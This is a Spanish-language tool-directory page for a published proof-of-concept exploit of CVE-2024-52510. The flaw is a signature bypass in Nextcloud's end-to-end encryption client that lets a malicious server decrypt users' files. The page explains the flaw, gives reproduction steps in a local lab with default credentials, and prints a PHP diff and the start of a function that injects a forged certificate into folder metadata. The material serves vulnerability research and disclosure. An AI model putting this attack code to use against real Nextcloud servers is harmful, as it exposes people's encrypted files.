Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-52510 — Exploit de prueba de concepto para CVE-2024-52510 que demuestra la evasión de firma en el protocolo E2EEv2 de Nextcloud, permitiendo el descifrado en el lado del servidor de archivos cifrados mediante la inyección de claves en los metadatos. | Kitploit
Herramientas/GitHubGitHub/d-xuan/cve-2024-52510
Herramientas de Cifrado/DescifradoAnálisis de VulnerabilidadesExplotaciónCriptografíaPruebas de PenetraciónSeguridad en la Nube
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

Exploit de prueba de concepto para CVE-2024-52510 que demuestra la evasión de firma en el protocolo E2EEv2 de Nextcloud, permitiendo el descifrado en el lado del servidor de archivos cifrados mediante la inyección de claves en los metadatos.

Ver Repositorio
289hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

POC de Bypass de X-E2EE-SIGNATURE en Nextcloud

Resumen

  • Durante el funcionamiento normal del protocolo E2EEv2 de Nextcloud, los clientes firman criptográficamente los metadatos de la carpeta antes de subirlos al servidor. Esto garantiza que los metadatos no hayan sido manipulados cuando se vuelven a recuperar para compartir archivos o sincronizar cambios.

  • La verificación de la firma la realiza el cliente en foldermetadata.cpp:177 cuando se inicializan los metadatos obtenidos. Sin embargo, hay dos formas en que un servidor malicioso puede omitir esta comprobación:

    • Pueden responder con una cabecera X-E2EE-SIGNATURE vacía. Como la cabecera está vacía, la condición en foldermetadata.cpp:168 hace que la verificación de la firma no se realice y el cliente acepta los metadatos alterados.

    • Pueden inyectar un certificado en el array JSON users y, a continuación, firmar los metadatos con ese certificado. Dado que CMS_NO_SIGNER_CERT_VERIFY se pasa en clientsideencryption.cpp:941, el certificado de firma no se verifica mediante cadena de confianza y el cliente solo comprueba que el certificado de firma esté presente en el vector certificatePems (clientsideencryption.cpp:955-971) que está controlado por el servidor.

  • En este POC demostraremos el segundo método, ya que es el más difícil de implementar; sin embargo, ambos han sido probados y funcionan.

  • Un servidor malicioso puede usar este bypass para proporcionar a los clientes claves de metadatos conocidas por el servidor. Los clientes usarán entonces esta clave de metadatos para cifrar archivos posteriores, lo que permite al servidor descifrar y leer archivos en carpetas cifradas de extremo a extremo.

    Esta forma de explotar el bypass de firma se basa en un ataque encontrado por Albrecht, Backendal, Coppola, Paterson en 2023 (https://eprint.iacr.org/2024/546) sobre una versión anterior del protocolo E2EE. De hecho, la autenticación de las claves de metadatos fue una estrategia de mitigación para el ataque (ver sección 5.1 del artículo enlazado).

Pasos para reproducir

  1. Clona este repositorio y ábrelo en VS Code con la extensión DevContainer. Se ha proporcionado un DevContainer basado en el del repositorio del servidor de Nextcloud con los siguientes cambios:

    • Con fines de depuración, hay un proxy inverso mitmproxy en el puerto 7001. Se puede acceder a la interfaz web en el puerto 7002.
    • Al instalar el servidor de Nextcloud, las aplicaciones encryption y end_to_end_encryption también se habilitarán, y se creará una cuenta con nombre de usuario y contraseña sharer.
  2. Una vez que el servidor esté en marcha, conéctate a él en http://localhost:8000 (o a través del proxy inverso en http://localhost:7001) usando el cliente más reciente. Actualmente he probado esto en la AppImage v3.13.2.

sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. Cuando se te solicite, inicia sesión con el nombre de usuario sharer y la contraseña sharer. Acepta las opciones de sincronización predeterminadas (crear un directorio ~/Nextcloud/ con welcome.txt dentro), y configura el cifrado de extremo a extremo en los ajustes del cliente de Nextcloud.

  2. Crea una nueva carpeta encrypted_folder dentro del directorio ~/Nextcloud. En los ajustes del cliente de Nextcloud, marca esta carpeta como cifrada.

  1. Dentro de Nextcloud/encrypted_folder, crea un archivo de texto simple y espera a que se sincronice.
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. Inicia sesión en la base de datos Postgres en Adminer en http://localhost:8080/ con las siguientes credenciales:

    • Usuario: postgres
    • Contraseña: postgres
    • Base de datos: postgres

y navega a las tablas oc_e2e_encryption_metadata y oc_e2e_encryption_decrypted. Deberías poder ver los metadatos descifrados y el contenido de los archivos en claro.

Las capturas de pantalla anteriores tenían un par de archivos de prueba adicionales creados y eliminados, por lo que serán ligeramente diferentes a lo que ves.

Detalles técnicos

Este repositorio está basado en los repositorios del servidor de Nextcloud y de la aplicación de cifrado de extremo a extremo. La mayor parte del código permanece sin cambios, así que intentaré explicar qué cosas se han modificado.

En primer lugar, el método getMetadata de MetaDataStorage.php se ha modificado para alterar los metadatos devueltos mediante la llamada a un nuevo método getFakeUserMetadata.

--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}

-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);

-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

En el método getFakeUserMetadata, primero inyectamos un certificado elegido en la clave JSON users. Esto sirve para facilitar la falsificación de firma.

	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* This is a non-root metadata. Return as normal*/
			return json_encode($metaData);
		}
				
		/* 
		 * Step 1: Inject a fake public key into the metadata
		 * This can be used to forge a signature for the response.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Create a new private key for the fake user */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);

				/* Client is expecting a certificate for the public key */
				$csr = openssl_csr_new(array(), $privateKey);
				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
				openssl_x509_export($certificate, $pemCertificate);
				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
			}
Descargar herramienta